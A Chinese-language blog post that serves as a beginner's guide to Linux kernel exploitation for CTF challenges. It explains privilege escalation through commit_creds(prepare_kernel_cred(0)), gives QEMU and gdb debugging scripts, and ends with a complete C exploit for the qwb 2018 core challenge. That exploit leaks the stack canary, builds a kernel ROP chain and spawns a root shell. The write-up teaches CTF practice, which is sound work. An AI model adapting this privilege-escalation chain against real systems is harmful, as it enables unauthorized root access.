kernel pwn入门

kernel pwn 入门

这是您第几次尝试入门kernel了?

艰难坎坷的入门历程

已经说不清这是第几次我试图学习kernel pwn了。大一下学期看过一些文章,当时看不懂,放弃了,后来大二上个学期又看了几天,又放弃了(毕竟当时连堆都没学明白)。大二下倒是真的准备学习一下,但是要准备ciscn,分区赛又轮不到kernel来决定你能不能进决赛。因此kernel一直搁置到了现在。

我这个人有个特点,学东西必须学成一个体系,简而言之就是太注重逻辑理解和自圆其说,而不喜欢去记忆。因此对我来说学的一知半解后放着不管就等于没学...

大概是因为这个思维习惯,我比较擅长梳理逻辑,似乎这方面能力确实比一般人要强,加上你校期末确实不算难,因此Jmp.Cliff就成了校内远近闻名的期末速通战神......

这文章用来整理我这几天(再再再次)入门kernel的入门过程,中间会大量引用一些文章,都是我学习中遇到的一些质量很高的教学。不过其中一部分内容并未站在一个kernel pwn 新手的角度去讲解,有时候会有不易理解的地方。我尽量去补充讲解这些我踩过的坑......

长期更新。

基础知识

首先需要学习操作系统的一些基本概念,最好在学校里面学过操作系统这门课。这里放大佬的文章:Linux Kernel I:Basic Knowledge

讲的非常详尽了可以说。刚入门记住以下内容就行:

目标:提权

不同于之前用户态的题目,kernel pwn打的是操作系统内核的漏洞,用户态的pwn往往是让我们劫持程序执行流,而kernel pwn我们的“行为”是相对自由的。我们可以把elf文件传进kernel pwn的环境中,可以运行这个程序,我们的目的是让exp实现一个自我提权。

提权是什么?这涉及到分级保护域的问题。root用户的程序运行在ring0级别,普通用户程序运行在ring3。作为普通用户,一些资源你是不能随意访问的(比如摄像头这些东西),但是root权限就可以。也就是说,kernel pwn是要求我们将我们这些普通用户创建的进程的权限提升至root,来允许其访问更高级别的资源。

如何实现提权,这就涉及到cred结构体的问题,具体内容在文章中不再赘述。低版本的kernel常用的方法是执行这两个内核函数:

commit_creds(prepare_kernel_cred(0))

prepare_kernel_cred函数可以创建一个cred结构体。参数为0时,prepare_kernel_cred函数创建的cred结构体,其中的安全标识符(UID、GID等)将被设置为0。这意味着新创建的cred结构体代表了一个特殊的用户,即超级用户(root)的权限。

commit_creds可以用一个cred结构的指针来设置当前进程的cred,这里就是使用上面的prepare_kernel_cred创建的root用户级别的cred。

这些函数都是内核函数,在用户态是不能执行的,我们要让程序进入内核态去执行。

可以这么讲,kernel pwn,就是让我们编写的exp进程进入内核态,利用内核漏洞来劫持内核的执行流,执行上述内核函数(或者别的)实现提权,再返回用户态,以root身份起一个/bin/sh,最后cat一个root才能看到的flag。

LKM

一般来说,题目不会让你现场挖内核的洞的,题目往往会给你一个LKM模块,这个模块会在一开始装载进内核中,这个东西相对内核而言小得多,方便选手逆向分析,一般漏洞也在这个里面。

ctf赛题一般会发一个.ko文件,这个设备驱动模块里面一般有漏洞。

我们需要获得设备描述符以执行这个模块中的内核函数。proc_create会在/proc目录下创建一个设备文件,open这个文件可以获得设备描述符,通过这个设备描述符,使用read/write或ioctl函数可以和他交互

proc_create最后一个参数传入了一个fops结构体,这个里面包含了对这个设备使用read,write,ioctl等函数时(即第一个参数传入对应设备描述符)这个驱动程序将执行哪些函数。这个函数一般在.ko的init_module函数里面有执行(如qwb2018_core那题)

内核态与用户态的切换

大佬的文章讲的比我好...

swap
...
iretq
getshell
user_cs
user_rflags
user_sp
user_ss

记住这个图,知道怎么返回用户态就行

怎么做题?

以qwb 2018 core为例

给了一个start.sh,这个能启动内核,用的qemu,没有的要自己装一个。

拿到题目...

题目给一个压缩包,有内核镜像,有文件系统的压缩包(.cpio),有启动脚本。把文件系统解压看到里面有init初始化脚本,还有里面的一些基础的文件。

exp写完编译好需要撇进文件系统,再重新压缩打包成.cpio,有时题目会给一个gen-cpio脚本方便你去打包,建议自己备一个。

启动前可以改参数,把KASLR关了,然后让自己变成root,先把内核里面的一些函数符号以及偏移搞出来再说,也方便找一些基址什么的。写exp自己记得要泄露就行了。

怎么做题和调试这一块,CTF wiki讲的比较好:ctfwiki-QEMU模拟环境

关于调试...

我喜欢用这两个脚本做一个调试

tools.sh

#!/bin/sh

gcc --static -masm=intel -g -o exp exp.c
cp exp core
cd ./core
gen-cpio core.cpio
cp core.cpio ..
cd ..

tmux split-window -h 'sudo ./GT.sh'
#tmux attach-session -t mysession

./start.sh

GT.sh

gdb -ex "target remote localhost:1234" \
    -ex "set $core_base=0xffffffffc0000000" \
    -ex "set $kernel_base=0xffffffff81000000" \
    -ex "add-symbol-file ./core/core.ko $core_base" \
    -ex "add-symbol-file ./core/vmlinux $kernel_base" \
	-ex "b*($core_base+0x131)" \
	-ex "b*($core_base+0x11)" \

这两个和start.sh放在同一目录下,直接./tools.sh,左边是qemu跑起来的内核,可以交互,右边的debug

注意GT.sh里面有一个添加符号的行为,这个地址是关了KASLR直接看的,所以debug之前最好在init(不是start.sh)脚本里面关了ASLR。实际做题时记得泄露地址就行了。

记得start.sh加一个-s,这个是打开gdb调试。

例题 qwb 2018 core

就是常规ROP,只不过变成了内核ROP

函数不认识直接去查就行了,网上有很多解析。

这一题难点主要在于怎么启动题目,怎么去启动调试,真做题挺简单的。

踩过的坑:

  1. fscanf要的是FILE指针而不是文件描述符,别搞错了
  2. 对应的,fopen的第二个参数直接给"r",不是给0
  3. 打开设备时打开的方式尽量给4,读和写权限都给
  4. ROP链长度注意,声明数组的时候长度是固定的,这个写python写多了往往就忘了。
  5. 开始一定要记得save_status

EXP

#include <stdio.h>
#include <stdlib.h>

#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>

//core 16384 0 - Live 0xffffffffc0000000 

int backdoor(){
    system("/bin/sh");
    return 0;
}

void setoff(int fd,unsigned long long off){
    ioctl(fd,0x6677889C,off);
}

void core_read(int fd,char* buf){
    ioctl(fd,0x6677889B,buf);
}

void stack_overflow(int fd,unsigned long long size){
    ioctl(fd,0x6677889A,size);
}

unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

unsigned long long prepare_kernel_cred=0,commit_creds=0,kernel_base=0;

void get_addr(){
    FILE* file=fopen("/tmp/kallsyms","r");
    if(!file)
        printf("open kallsysms failed!");
    unsigned long long addr=0;
    char type[0x30]={0};
    char name[0x30]={0};
    while(fscanf(file,"%llx%s%s",&addr,type,name)==3)
    {
        if(!strcmp("prepare_kernel_cred",name))
            prepare_kernel_cred=addr;
        if(!strcmp("commit_creds",name))
            commit_creds=addr;
        if(commit_creds&&prepare_kernel_cred)
            break;
    }
    kernel_base=prepare_kernel_cred-0x9cce0;
    fclose(file);
}

unsigned long long canary;
int main(){
    save_status();


    int fd=open("/proc/core",O_RDWR);
    if(!fd)
        printf("open failed!");
    setoff(fd,0x40);
    core_read(fd,&canary);
    printf("canary:%llx\n",canary);

    get_addr();
    

    printf("commit_creds:%llx\n",commit_creds);
    printf("prepare_kernel_cred:%llx\n",prepare_kernel_cred);
    printf("kernel_base:%llx\n",kernel_base);

    //0xffffffff813f9ede : mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret 
    unsigned long long magic_gadget=kernel_base+0xffffffff813f9ede -0xffffffff81000000;
    //0xffffffff81000b2f : pop rdi ; ret
    unsigned long long pop_rdi_ret=kernel_base+0xffffffff81000b2f-0xffffffff81000000;
    //0xffffffff81a012da : swapgs ; popfq ; ret
    unsigned long long swapgs_popfq_ret=kernel_base+0xffffffff81a012da-0xffffffff81000000;
    //0xffffffff81050ac2 iretq
    unsigned long long iretq=kernel_base+0xffffffff81050ac2-0xffffffff81000000;


    unsigned long long ROP[25]={0};


    ROP[8]=canary;
    ROP[9]=0;
    ROP[10]=pop_rdi_ret;
    ROP[11]=0;
    ROP[12]=prepare_kernel_cred;
    ROP[13]=magic_gadget;
    ROP[14]=0;
    ROP[15]=0;
    ROP[16]=commit_creds;
    ROP[17]=swapgs_popfq_ret;
    ROP[18]=0;
    ROP[19]=iretq;
    ROP[20]=(unsigned long long)backdoor;
    ROP[21]=user_cs;
    ROP[22]=user_rflags;
    ROP[23]=user_sp;
    ROP[24]=user_ss;
    


    write(fd,ROP,sizeof(ROP));


    stack_overflow(fd,0xffffffff00000000+sizeof(ROP));

    return 0;
}




posted @ 2023-08-10 20:16  Jmp·Cliff  阅读(198)  评论(1编辑  收藏  举报